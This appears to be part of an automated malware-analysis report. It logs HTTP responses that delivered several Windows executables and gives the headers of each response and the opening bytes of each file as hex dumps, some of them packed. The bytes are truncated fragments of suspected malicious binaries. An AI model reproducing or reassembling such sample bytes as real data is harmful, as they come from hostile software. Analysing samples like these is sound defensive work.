00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 01:05:07 GMTContent-Type: application/octet-streamContent-Length: 356864Last-Modified: Thu, 13 Jan 2022 20:50:05 GMTConnection: keep-aliveETag: "61e0907d-57200"Expires: Fri, 21 Jan 2022 01:05:07 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 75 73 5a 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 12 01 00 00 5c 04 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 71 01 00 c8 00 00 00 00 90 01 00 f4 15 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 7e 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 42 d6 00 00 00 50 00 00 00 d8 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a8 33 00 00 00 30 01 00 00 34 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 17 00 00 00 70 01 00 00 12 00 00 00 4a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f4 15 04 00 00 90 01 00 00 16 04 00 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 01:05:10 GMTContent-Type: application/octet-streamContent-Length: 357376Last-Modified: Thu, 13 Jan 2022 19:33:07 GMTConnection: keep-aliveETag: "61e07e73-57400"Expires: Fri, 21 Jan 2022 01:05:10 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 75 73 5a 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 12 01 00 00 5e 04 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 71 01 00 c8 00 00 00 00 90 01 00 44 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 7e 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 42 d6 00 00 00 50 00 00 00 d8 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a8 33 00 00 00 30 01 00 00 34 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 17 00 00 00 70 01 00 00 12 00 00 00 4a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 44 16 04 00 00 90 01 00 00 18 04 00 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 01:05:13 GMTContent-Type: application/octet-streamContent-Length: 226816Last-Modified: Thu, 13 Jan 2022 19:31:57 GMTConnection: keep-aliveETag: "61e07e2d-37600"Expires: Fri, 21 Jan 2022 01:05:13 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a7 79 e0 61 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 70 03 00 00 04 00 00 00 00 00 00 12 8e 03 00 00 20 00 00 00 a0 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 03 00 00 02 00 00 fc a7 03 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 8d 03 00 4f 00 00 00 00 a0 03 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 0c 00 00 00 88 8c 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 6e 03 00 00 20 00 00 00 70 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 00 00 00 00 a0 03 00 00 02 00 00 00 72 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 03 00 00 02 00 00 00 74 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 8d 03 00 00 00 00 00 48 00 00 00 02 00 05 00 00 98 00 00 d0 68 00 00 03 00 02 00 01 00 00 06 d0 00 01 00 b8 8b 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 00 28 15 00 00 0a 00 16 28 16 00 00 0a 00 73 0a 00 00 06 28 17 00 00 0a 00 2a 26 02 28 18 00 00 0a 00 00 2a 00 00 00 13 30 02 00 39 00 00 00 01 00 00 11 00 7e 01 00 00 04 14 fe 01 0a 06 2c 22 00 72 01 00 00 70 d0 03 00 00 02 28 19 00 00 0a 6f 1a 00 00 0a 73 1b 00 00 0a 0b 07 80 01 00 00 04 00 7e 01 00 00 04 0c 2b 00 08 2a 00 00 00 13 30 01 00 0b 00 00 00 02 00 00 11 00 7e 02 00 00 04 0a 2b 00 06 2a 22 00 02 80 02 00 00 04 2a 13 30 03 00 21 00 00 00 03 00 00 11 00 28 03 00 00 06 72 63 00 00 70 7e 02 00 00 04 6f 1c 00 00 0a 0a 06 74 01 00 00 1b 0b 2b 00 07 2a 00 00 00 13 30 01 00 0b 00 00 00 04 00 00 11 00 7e 03 00 00 04 0a 2b 00 06 2a 22 02 28 1d 00 00 0a 00 2a 56 73 08 00 00 06 28 1e 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 5e 02 14 7d 04 00 00 04 02 28 1f 00 00 0a 00 00 02 28 14 00 00 06 00 2a 00 00 13 30 01 00 0f 00 00 00 05 00 00 11 00 73 38 00 00 06 0a 06 6f 20 00 00 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:14 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 01:05:14 GMTContent-Type: application/octet-streamContent-Length: 535232Last-Modified: Thu, 13 Jan 2022 19:32:17 GMTConnection: keep-aliveETag: "61e07e41-82ac0"Expires: Fri, 21 Jan 2022 01:05:14 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 73 0f cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3a 00 00 00 0a 04 00 00 00 00 00 00 a0 04 00 00 20 00 00 00 60 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 be bf 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e4 01 00 00 00 90 00 00 ac 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 6c 73 00 00 00 00 00 70 00 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 43 52 54 00 00 00 00 00 10 00 00 00 80 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ac 08 04 00 00 90 00 00 ac 08 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 80 01 00 00 a0 04 00 11 7d 01 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 01:05:16 GMTContent-Type: application/octet-streamContent-Length: 2387648Last-Modified: Thu, 13 Jan 2022 20:12:05 GMTConnection: keep-aliveETag: "61e08795-246ec0"Expires: Fri, 21 Jan 2022 01:05:16 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ca 5e 3d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 64 3f 00 00 18 03 00 00 00 00 00 00 e0 42 00 00 20 00 00 00 a0 3f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 44 00 00 04 00 00 6f 94 24 00 02 00 60 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 3f 00 dc 01 00 00 00 c0 3f 00 14 17 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 65 64 61 74 61 00 00 00 a0 3f 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 43 52 54 00 00 00 00 00 10 00 00 00 b0 3f 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 14 17 03 00 00 c0 3f 00 14 17 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 43 52 54 00 00 00 00 00 80 01 00 00 e0 42 00 17 79 01 00 00 1e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:17 GMTContent-Type: application/x-msdos-programContent-Length: 557664Connection: closeLast-Modified: Thu, 13 Jan 2022 19:20:04 GMTETag: "88260-5d57b92d7ebed"Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d6 ad 35 ab 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 24 03 00 00 2a 03 00 00 00 00 00 00 b0 06 00 00 20 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 08 00 00 04 00 00 1c 40 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 03 00 e4 01 00 00 00 80 03 00 50 29 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 61 74 61 00 00 00 60 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 29 03 00 00 80 03 00 30 06 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 61 00 00 80 01 00 00 b0 06 00 fc 78 01 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Jan 2022 01:05:22 GMTContent-Type: application/octet-streamContent-Length: 357376Last-Modified: Thu, 13 Jan 2022 18:42:45 GMTConnection: keep-aliveETag: "61e072a5-57400"Expires: Fri, 21 Jan 2022 01:05:22 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 75 73 5a 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 12 01 00 00 5e 04 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 